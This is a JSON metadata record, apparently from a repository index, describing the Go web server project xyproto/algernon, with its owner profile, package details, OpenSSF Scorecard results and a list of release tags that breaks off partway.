{"id":369887,"url":"https://github.com/xyproto/algernon","last_synced_at":"2026-06-01T08:30:27.720Z","repository":{"id":28438523,"uuid":"31953662","full_name":"xyproto/algernon","owner":"xyproto","description":"Small self-contained pure-Go web server with Lua, Teal, Markdown, Ollama, HTTP/2, QUIC, Redis, TypeScript, SQLite and PostgreSQL support ++","archived":false,"fork":false,"pushed_at":"2026-05-29T16:53:32.000Z","size":111992,"stargazers_count":3011,"open_issues_count":26,"forks_count":146,"subscribers_count":48,"default_branch":"main","last_synced_at":"2026-05-29T18:14:21.928Z","etag":null,"topics":["algernon","build-less","cross-platform","fasthttp","go","http3","live-reload","local-llm","lua","mysql","npm-less","ollama","pongo2","postgresql","quic","react19","redis","server-sent-events","sqlite","tls13"],"latest_commit_sha":null,"homepage":"https://algernon.roboticoverlords.org","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/xyproto.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"Security.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["xyproto"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":null}},"created_at":"2015-03-10T11:25:30.000Z","updated_at":"2026-05-29T17:59:06.000Z","dependencies_parsed_at":"2026-01-26T15:15:46.491Z","dependency_job_id":null,"html_url":"https://github.com/xyproto/algernon","commit_stats":{"total_commits":2373,"total_committers":19,"mean_commits":"124.89473684210526","dds":0.03750526759376316,"last_synced_commit":"f9858be3daf697ecf92e18c9b917db13b1391ac4"},"previous_names":["xyproto/luawebserver"],"tags_count":121,"template":false,"template_full_name":null,"purl":"pkg:github/xyproto/algernon","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/sbom","scorecard":{"id":1236479,"data":{"date":"2025-07-28","repo":{"name":"github.com/xyproto/algernon","commit":"e72d639776cb1dbb9414bf480b5fcabe34d8de6e"},"scorecard":{"version":"v5.2.1-26-g4feedb85","commit":"4feedb857ab8d82158aa9774bf8054df41992180"},"score":4.3,"checks":[{"name":"Maintained","score":9,"reason":"11 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 0/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'security-events' permission set to 'write': .github/workflows/differential-shellcheck.yml:17","Warn: no topLevel permission defined: .github/workflows/build.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/differential-shellcheck.yml:10","Warn: no topLevel permission defined: .github/workflows/homebrew.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#token-permissions"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: InProgress","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#fuzzing"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.17.3 not signed: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 not signed: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 not signed: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/143203183","Warn: release artifact v1.17.3 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/143203183"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#binary-artifacts"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/homebrew.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/homebrew.yml/main?enable=pin","Warn: containerImage not pinned by hash: docker/dev/Dockerfile:2","Warn: containerImage not pinned by hash: docker/interactive/Dockerfile:2","Warn: containerImage not pinned by hash: docker/lua/Dockerfile:2","Warn: containerImage not pinned by hash: docker/prod/Dockerfile:2","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   4 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#pinned-dependencies"}}]},"last_synced_at":"2025-08-29T15:46:01.908Z","repository_id":28438523,"created_at":"2025-08-29T15:46:01.909Z","updated_at":"2025-08-29T15:46:01.909Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33723549,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-31T02:00:06.040Z","response_time":95,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"xyproto","name":"Alexander F. Rødseth","uuid":"52813","kind":"user","description":"Software Developer, Arch Linux package maintainer, Go/Python/C++/C developer and open source enthusiast. I enjoy playing the game of Go as well.","email":"","website":"https://arodseth.com/","location":"Oslo","twitter":"xyproto","company":null,"icon_url":"https://avatars.githubusercontent.com/u/52813?v=4","repositories_count":537,"last_synced_at":"2024-05-01T10:29:56.326Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/xyproto","funding_links":["https://github.com/sponsors/xyproto"],"total_stars":6693,"followers":497,"following":301,"created_at":"2022-11-02T19:34:39.845Z","updated_at":"2024-05-01T10:31:30.942Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto/repositories"},"packages":[{"id":3534566,"name":"github.com/xyproto/algernon","ecosystem":"go","description":"QUIC web server with built-in support for Lua, Markdown, Pongo2 and JSX.","homepage":"https://github.com/xyproto/algernon","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/xyproto/algernon","keywords_array":[],"namespace":"github.com/xyproto","versions_count":23,"first_release_published_at":"2016-11-02T17:12:33.000Z","latest_release_published_at":"2026-05-29T16:39:34.000Z","latest_release_number":"v1.17.9","last_synced_at":"2026-06-01T04:12:44.320Z","created_at":"2022-04-10T23:42:55.655Z","updated_at":"2026-06-01T05:12:22.289Z","registry_url":"https://pkg.go.dev/github.com/xyproto/algernon","install_command":"go get github.com/xyproto/algernon","documentation_url":"https://pkg.go.dev/github.com/xyproto/algernon#section-documentation","metadata":{},"repo_metadata":{"id":28438523,"uuid":"31953662","full_name":"xyproto/algernon","owner":"xyproto","description":"Small self-contained pure-Go web server with Lua, Teal, Markdown, Ollama, HTTP/2, QUIC, Redis, SQLite and PostgreSQL support ++","archived":false,"fork":false,"pushed_at":"2025-10-01T06:23:56.000Z","size":72132,"stargazers_count":2941,"open_issues_count":29,"forks_count":144,"subscribers_count":49,"default_branch":"main","last_synced_at":"2025-10-01T08:35:24.651Z","etag":null,"topics":["algernon","buildless","cross-platform","fasthttp","go","http2","http3","live-reload","llm","lua","mysql","ollama","pongo2","postgresql","quic","redis","server-sent-events","sqlite","tls13"],"latest_commit_sha":null,"homepage":"https://algernon.roboticoverlords.org","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/xyproto.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["xyproto"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":null}},"created_at":"2015-03-10T11:25:30.000Z","updated_at":"2025-10-01T06:24:00.000Z","dependencies_parsed_at":"2024-01-24T17:36:45.617Z","dependency_job_id":"f708d2f7-8ce3-49fb-89f7-a3ed5c6bfddd","html_url":"https://github.com/xyproto/algernon","commit_stats":{"total_commits":2373,"total_committers":19,"mean_commits":"124.89473684210526","dds":0.03750526759376316,"last_synced_commit":"f9858be3daf697ecf92e18c9b917db13b1391ac4"},"previous_names":["xyproto/luawebserver"],"tags_count":116,"template":false,"template_full_name":null,"purl":"pkg:github/xyproto/algernon","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/sbom","scorecard":{"id":1236479,"data":{"date":"2025-07-28","repo":{"name":"github.com/xyproto/algernon","commit":"e72d639776cb1dbb9414bf480b5fcabe34d8de6e"},"scorecard":{"version":"v5.2.1-26-g4feedb85","commit":"4feedb857ab8d82158aa9774bf8054df41992180"},"score":4.3,"checks":[{"name":"Maintained","score":9,"reason":"11 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 0/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'security-events' permission set to 'write': .github/workflows/differential-shellcheck.yml:17","Warn: no topLevel permission defined: .github/workflows/build.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/differential-shellcheck.yml:10","Warn: no topLevel permission defined: .github/workflows/homebrew.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#token-permissions"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: InProgress","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#fuzzing"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.17.3 not signed: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 not signed: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 not signed: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/143203183","Warn: release artifact v1.17.3 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/143203183"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#binary-artifacts"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/homebrew.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/homebrew.yml/main?enable=pin","Warn: containerImage not pinned by hash: docker/dev/Dockerfile:2","Warn: containerImage not pinned by hash: docker/interactive/Dockerfile:2","Warn: containerImage not pinned by hash: docker/lua/Dockerfile:2","Warn: containerImage not pinned by hash: docker/prod/Dockerfile:2","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   4 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#pinned-dependencies"}}]},"last_synced_at":"2025-08-29T15:46:01.908Z","repository_id":28438523,"created_at":"2025-08-29T15:46:01.909Z","updated_at":"2025-08-29T15:46:01.909Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":277818004,"owners_count":25882331,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-01T02:00:09.286Z","response_time":88,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"xyproto","name":"Alexander F. Rødseth","uuid":"52813","kind":"user","description":"Software Developer, Arch Linux package maintainer, Go/Python/C++/C developer and open source enthusiast. I enjoy playing the game of Go as well.","email":"","website":"https://arodseth.com/","location":"Oslo","twitter":"xyproto","company":null,"icon_url":"https://avatars.githubusercontent.com/u/52813?v=4","repositories_count":537,"last_synced_at":"2024-05-01T10:29:56.326Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/xyproto","funding_links":["https://github.com/sponsors/xyproto"],"total_stars":6693,"followers":497,"following":301,"created_at":"2022-11-02T19:34:39.845Z","updated_at":"2024-05-01T10:31:30.942Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto/repositories"},"tags":[{"name":"v1.17.4","sha":"df2545cd3ccca90e626c42604ec3f60ce1df0062","kind":"commit","published_at":"2025-08-07T19:51:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.4","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.4/manifests"},{"name":"v1.17.3","sha":"6ff7ad946bb6af1dfea5cd8867a7a337d277c34c","kind":"commit","published_at":"2025-02-26T11:08:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.3/manifests"},{"name":"v1.17.2","sha":"d1a906aeb7ad93ff41a38870581b62f611744ec5","kind":"commit","published_at":"2025-01-20T11:41:46.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.2","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.2/manifests"},{"name":"v1.17.1","sha":"131aa2dbd8900dfe022576113572279ea31e9232","kind":"commit","published_at":"2024-07-13T12:51:47.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"e10e38c0d4f27af4e4bd37ebdaaa8da3c8d170b4","kind":"commit","published_at":"2024-06-26T15:12:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"41cc40983b7fd3ee1a54c09e16f4b7ab8144c32f","kind":"commit","published_at":"2024-02-22T15:03:49.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.16.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.16.0/manifests"},{"name":"v1.15.5","sha":"bb6ed669e1330bc6ca9271c5a1129b9a1c052366","kind":"commit","published_at":"2023-12-06T09:07:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.5","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.5/manifests"},{"name"